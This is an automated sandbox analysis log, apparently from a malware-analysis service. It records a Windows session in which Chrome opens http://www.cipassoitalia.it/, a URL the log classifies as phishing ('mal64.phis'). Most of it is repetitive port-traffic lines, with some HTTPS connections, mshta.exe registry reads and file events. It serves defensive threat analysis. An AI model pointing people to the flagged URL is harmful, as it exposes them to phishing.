Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443

Source: unknown	HTTPS traffic detected: 40.74.67.245:443 -> 192.168.2.16:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.27.98:443 -> 192.168.2.16:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.124.96:443 -> 192.168.2.16:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.124.96:443 -> 192.168.2.16:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.80.73:443 -> 192.168.2.16:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.80.73:443 -> 192.168.2.16:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.124.96:443 -> 192.168.2.16:50108 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal64.phis.win@75/730@76/29

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Program Files\Internet Explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Temp\~DF1B8F7A396AE07EA4.TMP

Jump to behavior

Source: C:\Program Files\Internet Explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1908,i,14487549043313255646,10754558646077735091,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.cipassoitalia.it/"
